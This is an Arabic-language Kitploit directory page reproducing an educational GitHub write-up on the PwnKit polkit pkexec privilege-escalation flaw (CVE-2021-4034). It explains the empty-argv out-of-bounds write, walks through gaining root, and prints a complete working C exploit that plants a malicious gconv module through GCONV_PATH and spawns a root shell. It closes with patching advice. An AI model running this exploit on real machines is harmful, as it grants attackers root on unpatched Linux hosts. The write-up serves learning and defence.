Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-4034 — ثغرة تصعيد الامتيازات المحلية (LPE) في Polkit - Pwnkit | Kitploit
أدوات/GitHubGitHub/lucaspdiniz/cve-2021-4034
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHublucaspdiniz/cve-2021-4034

CVE-2021-4034

ثغرة تصعيد الامتيازات المحلية (LPE) في Polkit - Pwnkit

عرض المستودع
110منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Pwnkit Vulnerability - CVE-2021-4034 📗

مقدمة

اكتُشفت هذه الثغرة في عام 2021، ولكن أُعلن عنها وكُشف عنها في يناير 2022، وقد سُميت CVE-2021-4034 باسم Pwnkit، ومع ذلك، فهي متوفرة في جميع إصدارات حزمة Policy Toolkit - Polkit في جميع توزيعات OS - Linux تقريبًا. باختصار، تسمح هذه الثغرة لأي مهاجم غير مميز برفع صلاحياته عموديًا إلى صلاحيات مسؤول النظام.

[!IMPORTANT] يمكننا العثور على هذه الثغرة في إصدار pkexec 0.105 أو إصدار سابق له.

على الرغم من أن هذه الثغرة شديدة الأهمية، حيث صُنفت بدرجة 7.8 في مقياس CVSS وفقًا لـ NIST.GOV، إلا أنه يتم استغلالها محليًا فقط، أي أنه لا يمكن استغلالها عن بُعد (عبر الوصول إلى الويب).

ما هو Polkit ❓

يعمل Polkit كنظام تفويض (Authorization) في Linux. عندما يكون لديك مستخدم بصلاحيات محدودة ويحتاج إلى تنفيذ مهمة تتطلب صلاحيات عالية (مثل إجراءات المدير)، يتحقق Polkit مما إذا كان مستخدمك يمتلك الصلاحية المطلوبة.

على سبيل المثال، باستخدام أداة PKexec، يمكننا استدعاء وظيفة Polkit، التي تتحقق من الصلاحية وتطلب كلمة المرور إذا لم تكن متوفرة. كما في المثال أدناه؛

شرح الاستغلال ⚠️

كما هو موضح أعلاه، توجد ثغرة Pwnkit في PKexec (في عملية التحقق من الأذونات)، وفي هذه الثغرة لا يوجد تأمين في التعامل مع المعاملات عند تنفيذ PKexec من سطر الأوامر (CLI)، حيث تتيح للمهاجم التلاعب بالبيئة، ويحدث خلل يُسمى "Out-of-Bounds Write".

يحاول PKexec تحليل أي وسائط لسطر الأوامر نمررها إليه باستخدام حلقة for-loop، بدءًا من الفهرس 1 لتجاوز اسم البرنامج والحصول على أول وسيط حقيقي. اسم البرنامج غير مهم لتحليل الوسائط، لذلك يتم إزاحة الفهرس ببساطة لتجاهله.

لذلك إذا لم نعرّف أي وسائط، فسيتم تعيين الفهرس تلقائيًا إلى 1.

لننشئ مثالًا أدناه.

for(n=1; n < number_of_arguments; n++){
}

إذا كان عدد الوسائط هو 0، فإن 'N' لا يكون أبدًا أقل من عدد الوسائط. وبالتالي، تظل 'N' مساوية لواحد ويتم تجاوز الحلقة بالكامل، أي أن الحلقة لن تحدث.

نظرًا لعدم وجود وسائط لسطر الأوامر، لا يوجد وسيط عند الفهرس n — وبدلاً من ذلك، يقوم البرنامج بالكتابة فوق العنصر التالي في الذاكرة، والذي يصادف أنه القيمة الأولى في قائمة متغيرات البيئة عند استدعاء البرنامج باستخدام دالة C تسمى execve(). بعبارة أخرى، من خلال تمرير قائمة وسائط فارغة إلى PKexec، يمكننا إجباره على الكتابة فوق بيئة ما.

لنستكشف !!! ✏️

هناك عدة طرق ونصوص برمجية مختلفة على الإنترنت تستغل هذه الثغرة بسهولة. لتوفير الوقت، سنستخدم سكربت مكتوبًا بلغة C يستغل هذه الثغرة من مستودع صديقنا Arthepsy.

يستغل هذا السكربت المتغير GCONV_PATH لإدراج كائن مشترك يستدعي /bin/sh بصلاحيات الجذر (root).

Arthepsy - CVE-2021-4034 - exploit.c

قبل تشغيل السكربت، سنتحقق من صلاحيات وصولك إلى المضيف المصاب.

لدينا مستخدم برقم UID 1000 (وليس الجذر)، ولا يمكننا تنفيذ وظائف المدير، مثل Useradd.

  • هيا بنا 🔥

لقد حصلنا على صلاحيات مستخدم الجذر (root) وتمكنا من تنفيذ بعض الوظائف مثل Useradd (الخطأ يشير إلى مشكلة أخرى، لكننا تمكنا من تنفيذ العملية كجذر).

تم ✔️

القليل من التحليل الإضافي 💡

لاختتام هذا الاستكشاف، يمكننا إلقاء نظرة سريعة على السكربت المستغِل أدناه؛

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

إنه في الأساس يستغل وسائط PKexec المذكورة سابقًا ويعيد كتابة متغير البيئة GCONV_PATH مع /bin/sh ويضبط stuid(0) (الجذر).

التصحيح ✅

تتوفر بالفعل إصدارات مصححة في حزمة نظام التشغيل نفسه، وبمجرد تنفيذ الأوامر sudo apt update && sudo apt upgrade، سيكون من الممكن إصلاح هذه المشكلة في نظامك.

تنزيل الأداة